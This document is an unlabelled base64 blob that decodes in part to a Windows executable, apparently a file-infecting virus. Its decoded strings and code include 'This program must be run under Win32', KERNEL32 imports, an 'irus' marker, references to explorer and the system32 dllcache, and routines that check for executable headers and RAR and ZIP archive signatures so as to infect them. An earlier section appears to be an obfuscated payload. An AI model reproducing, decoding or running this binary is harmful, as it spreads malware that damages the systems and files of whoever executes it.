LCI2IBAYRngUGho0IhZSNBoYLCAiRv58Hh6+XjwWLhj+WhQi/loUImAiODT+WAwYFjQkRngU Gho0IhZ4ICIWGiAmWDQWRlg0GhIsODQY/lggMhYQPBo0RmQsOBogGCAyFkZQfHpGUHx6lkZQ PDq+ciwmNL5iPCQ0/loUIlg0GhIsODQY/mwiFjQaIjQWvlg0FhYsIjAYRng8OC40Rl48Fi4Y /v7+/v7+/v5uLKb+bjQmJiCm/lo0iv5yEIr+VCI2NCYsEjQaPDomNL4kPCwmpKS6tBi6/lo0 FhQaIjQ2viQ8LCakpLq0GLr+/v7+/jy+tBi+tBi+MDwkNP48vrQYvrQYvhYgICb+PL60GL60 GL4QNDoYLBY0/jy+tBi+tBi+HjwWOC7+tBi+GjQkIBI8Jr4WICAmGP7+/v7+/v7+IjQQ/jIU IiIM/iIsODT+LhQkIBQa/jQOOCwWNP4wICA2/h4gEDIUJv5QLCJOXv5sdL6Sop7+UJiaonQm KDQaIr7+UJiaomgmNAqidP7+LiAQvjwaNL4MIBT+JjQWsBi+OjS+MhosNCI2GP42PBomLCIw /hggvjggICa+PL4yJjwYLqY0IiogDL4sFv4MIBQavh48GBgQIBo2/i4gIjQM/hggJDS+HBQ0 GBYsICIY/h4mNDwYNL4WGgy+PDA8LCL+EDQmOCAkNL4WIL4kDL4uICQ0FiAQIv4WLjS+cDwa NjQiviAyvnQ2NCL+LCIWGiA2FDgWLCAiviAivnx2WGb+JDQ0FiwiML4iIBYsODT+HBQ0GBYs ICIiPCwaNP44ICIwGjwWFCY8FiwgIhj+GCAYvP4qPB48IjQYNL4wLBomvlJYvh4mPAw6IAz+ JiAgKKYkDL46NDwUFiwyFCa+MCwaJr4yGiw0Ijb+NDwwNBq+FiC+GDQ0vgwgFP4YHiw4NL4w LBomGLC+EiA4PCa+OCAiODQaFv4qPB48IjQYNL4mPBgYsL4YNA4Mvh4sOBYUGjQY/v7+/lgM JDwiFjQ4/mQ4PDI0NP5ypFg0OBQaNP5YIB4uIBj+Vho0IjYkLDgaIP5oPBgeNBoYKAz+/v7+ chogJIq+/lYgir7+WBQ6KjQ4Foq+/v7+Vi40vjIgJiYgECwiML4kPCwmvjg8IrAWvjo0vhg0 Iha+FiC+tBiK/lYuNL48FhY8OC4kNCIW/lYuNL4yLCY0/r4sGL4WLjS+IBosMCwiPCa+JDws Jv6+MCwSNL4MIBS+Fi40vrQY/r4sGL48vrQYvjY8IjA0GiAUGL4SLBoUGL4WLjwWvrQY/jg8 Ir4sIjI0OBa+ICK+UCwijI6gZDSgmp6enqBOXqL+GB4aNDw2vhYuGiAUMC6+NCQ8LCai/hI0 Ggy+/hgeNDgsPCa+/i4WFh6KoKD+EBAQov6iOCAk/nIgGr4kIBo0viwiMiAaJDwWLCAiph4m NDwYNL4SLBgsFr7+Vi4sGL4sGL7+bL60GL4MIBS+ECAUJja+tBi+LBai/jQiKiAM/iYsKDT+ ECwYLv4uIB40/jQOHjQ4Fv7+eC4aLBgWJDwY/mI0EL4MNDwa/lg8LCIWvlI8JjQiFiwiNLAY vnY8DP58JiYuPCYmIBAkPBj+fB4aLCa+ciAgJhiwvnY8DP5mPDYMvnY8DP58GBgUJB4WLCAi /ng8IjYmNCQ8GP58Jia+WCAUJhiwdjwM/nQeLB4uPCIM/v7+/v5uPB4eDL7+bjwSNL48vv7+ hjoaguTq/uTq/h4gGBYkPBgWNBr+/v5QLCIo/v5sJDwwNF48Fi7+ZGxkdKRSNBoYLCAiir6c op7k6nggIhY0IhakVgweNIq+JBQmFiwePBoWoDwmFjQaIjwWLBI0iOTq7DogFCI2PBoMhP54 ICIWNCIWpFYMHjSKvhY0DhagLhYkJojk6nggIhY0IhakVho8IhgyNBqkdCI4IDYsIjCKvhwU IBY0NqQeGiwiFjw6JjTk6uTqhm5WZGaChm50fHaChqBudHx2goZ6YHZMgrQY5OqGcmBiVoL+ /oagcmBiVoKGoHpgdkyChqBuVmRmgv7+/nggIhY0IhakVgweNIq+tBiI5OrsIjwkNIS0GOTq eCAiFjQiFqRWGjwiGDI0GqR0IjggNiwiMIq+OjwYNJKW5Op4ICIWNCIWpGx2ir6GtBiC/v7+ /v7+/v7+/jwUNiwgoA6kEDwS/jwUNiwgoA6kJCw2LP48Hh4mLDg8FiwgIqAgOBY0FqQYFho0 PCT+/v7+/v7+/v7k6oYsMho8JDS+GBo4hJh2OCw2irQYvi40LDAuFoSYdp6+ECw2Fi6EmHae guTqhqAsMho8JDSC/lYuLBi+MDwkNL4sGL4kDL4yLBoYFr4QIBooooY6GoLk6kwgFLAaNL4W LjS+MiwaGBa+HiY8DDQaov5gbHhc/l4aIDAaPCRyLCY0GHYsGv7+/v4YJBYeov5AfFJemJr+ QHxSXnh4/mJgdpia/mJeWFhSeP5iWnRYXJia/mJYeG50dpia/mJYeG50dmJW/mJYXmZUcGxi /mJ8Uv5ifFJ8XlhSeP5ifFJ8XlCYmv5ifFJmVJia/mJ8UlpUYlr+YnxSUJia/kB8Ul5k/nxm dFpWWFJ4/nxkYGL+fFJemJr+fFJeeHj+fFJeZP5imJpYeHxiUP5ifFJQYlb+fGJWbFJsWv58 Ul5UXnb+fFJweFZaZv58UlBsYoyU/lh4fGKYmv5SWG5QbGKYmv5ypFhWYF5Q/nKkXlpgVoyU /nx4aFBsYpia/lJ0VlZafEz+UnRWjJT+WFB0dF6MlP5eeHhQbGKMjv5sYGRgYoyO/nxSXlZ4 /nxSdJia/nxSeGBiWGBm/nJepFBsYv52Ul6MlP5ypHxwYlaMlP54ZnxQjJT+YlJ4jJT+WHh8 Yv5SbFpUWP5mYHhodmBQYpqenp7+YiAaFiAi/mQ4PDI0NP58IhYsEiwa/lZ8WGhkcFr+/v7+ /v7+/v7+/v7+/v7+/v7+fGJWbKRSbFqidnxW/nhuaGZsWFaidnxW/nhuaGZsWFaiZFj+eG5o ZmxYVqJ4Xlj+eG5oZmxYVqJWfFL+bFJ6omJWSv5YZHxaVnhuaKJkWP5YZHxaVnhuaKJ4Xlj+ fFJwXFaidnxW/nxwVHxadqJ2fFb+/v7+/v7+WC4mEDweLKI2Jib+aDQaIjQmmJqiNiYm/iI0 FjweLJiaojYmJv4YMjiiNiYm/v7+/v5YLBo4PCT+YiwkNjz+eCA2NFo0Nv5QXGhkZJiOkI7+ cFpsdHKYjpCO/nIUIr5mIBIsIjC+eBosJCwiPCb+YiAaFiAi/mQ4PDI0NP58IhYsEiwa/nwS OCAiGCAm/nKkWFZgXlD+cqRYNDgUGjT+WCAeLiAY/hIsGhQY/nxSXr5kICIsFiAa/nxSXr5U HjY8FjQY/mwiIDgUJjwWNGxW/l54pDgsJiYsIv5YDCQ8IhY0OP5WGjQiNr5kLDgaIP5ypF5a YFb+vmJgdpiavv7+/lo0MCwYFjQaWDQaEiw4NF4aIDg0GBj+YjQWWC48GjR8Njb+WG52NCY0 FjRoNAx8/lgyOGwYciwmNF4aIBY0OBY0Nv5iNBZYLjwaNHA0FmwiMiD+YjQWfB4sehQyMjQa cho0NP7+/v7+dE5eZmBadFr+eGRkcFr+JBgsJCL+LDgQOCAiIv4QLCIKLB7+/v7+/l4aIDAa PCT+tBi+hrQYgv58enh2dHJwbmxqaGZkYmBeXFpYVlRSUE5MSjw6ODY0MjAuLCooJiQiIB4c GhgWFBIQDgwKnpyamJaUkpCOjKig/hg0FhQe/iwiGBY8Jib+NjQkIP4YIiAgHgz+Hiw4PDgU /igsFhYM/h4mPAz+GiA4KP7+/v7+/v7+WjwavMrw/mHfGP7+5P7+/v7+/v7+/qIaPBr+/hAs IiwiNBaiNiYm/mwiFjQaIjQWcDQWeCAiIjQ4FjQ2WBY8FjT+/v52LBo0OBYgGgz+NiYmODw4 LjT+/lg0djQ6FDBeGiwSLCY0MDT+WDRWODpeGiwSLCY0MDT+/v7+/v7+/v4QOqQqPB48IqI4 IKIqHv4SNBosCiAioiI0Fv48GhwULBo0NqI0GP42LDI8OKI4ICT+/lggMhYQPBo0RmQsOBog GCAyFkZsIhY0GiI0Fr58ODggFCIWvmQ8IjwwNBpGfDg4IBQiFhhG/lhkVl6+WDQaEjQa/lhk Vl6+dCQ8LCa+fDY2GjQYGP7+UCAaJL5oJjQKonS+LCQkFCIsFgz+/mgmNAqidL4sGL4WLjS+ JCAYFr44ICQkICK+ECAaJjakECw2NL4YHho0PDYsIjC+ECAaJKJsFrAYvhI0Ggy+NjwiMDQa IBQYvjoMvjggGhoUHhYsIjC+DCAUGr4yLCY0GKKGOhqC5Op6NDg8FBg0viAyviwWGL4SNBoM vhgkPBoWvhgWNDwmFi6+PCI2vjwiFiykPCIWLKQSLBoUGL4WNDguIiw4piQgGBa+OCAkJCAi vnxSvhggMhYQPBo0vjg8IrAWvjY0FjQ4Fr4gGr44JjQ8Ir4sFqKGOhqC5OpQNL42NBI0JiAe NDa+Fi4sGL4yGjQ0viwkJBQiLBYMvhYgICa+FiC+NjQyNDwWvhYuNL4kPCYsOCwgFBi+Eiwa FBiihjoaguTqTCAUviAiJgy+IjQ0Nr4WIL4aFCK+Fi4sGL4WICAmviAiODSmPCI2vhYuNCK+ aCY0Cr4QLCYmviI0EjQavjggJDS+LCIWIL4MIBQavl54ooY6GoLk6mJgVnSKvno0ODwUGDS+ Fi4sGL4WICAmvjw4Fhi+PBi+PL4yPCg0vmgmNAq+FiC+MiAgJr4WLjS+GjQ8Jr4QIBokphgg JDS+fFK+JCAiLBYgGr4kPAw6NL44Ggy+EC40Ir4MIBS+GhQiviwWooY6GoLk6mwyvhggpmww IiAaNL4WLjS+EDwaIiwiMKY8Ija+GDQmNDgWvrA4ICIWLCIUNLCihjoaguTqbDK+DCAUvi48 EjS+PCIMvhwUNBgWLCAiph4mNDwYNL6GPL4uGjQyhJh2JDwsJhYgirQYgiQ8LCa+FiC+JDSG oDyCov7+/v7+/v7+5OpQLCKYmr5oJjQKvlKaop6cvrK+UCwimJq+ciAaIBQOvlKcop7k6ngg HgwaLDAuFr6anp6apiQ8NjS+LCK+fBgsPOTqfDogFBa+aCY0Cr5SmqKenIrk6uycpmQ8LCK+ JCwYGCwgIr4sGL4WIL4aNCY0PBg0vhYuNL4iNBC+Ojw6DL5edL4SLBoUGKZQLCKYmr5yIBog FA7k6uyapmIgvhgsMCIsMiw4PCIWvjguPCIwNKJiIL46FDC+MiwONDaiYiC+PCIMvh48DCYg PDai5Op8OiAUFr5QLCKYmr5yIBogFA6+rh4mCr4oNDQevhYuNL4iPCQ0phYuPCIOrOTq7Jym chQmJr44ICQePBYsOiY0vlAsIpiavl50vhIsGhQYviAivlAsIoxOoJpooGJWoE5e5OrsmqZQ LBYuvhI0Ggy+LCIWNBo0GBYsIjC+MjQ8FhQaNKJ4LjQ4KL4sFrzk6uyYpmIgvjwiDL4ePAwm IDw2omIgvjwiDL4gHhYsJCwKPBYsICLk6uyWpmIgFr46FDC+Mho0NKY6NDg8FBg0viAyvjy+ LhQaGgy+ECAaKKJiIL4kIBo0vhYuPCK+Fi4aNDS+EDQ0KBi+MhogJL4uPBIsIjC+GBQ4Lr4s NjQ8vhYgvjw4OCAkHiYsGC4sIjC+OCA2LCIwvjwiNr4WNBgWLCIw5Or+AAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA XgIAAA4AAACGAgAADgAAAJgCAABoBQAAIAgAAGAAAAACEAAACgAAABIQAAAWAAAAYxAAAJ0A AAAMFAAA9AgAAPYlAAAKAgAATVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAKgBAAC6EAAO H7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BF AABMAQQAiywMhQAAAAAAAAAA4ACOgQsBAhkABAAAAAwAAAAAAAAAEAAAABAAAAAgAAAAAEAA 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 QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA 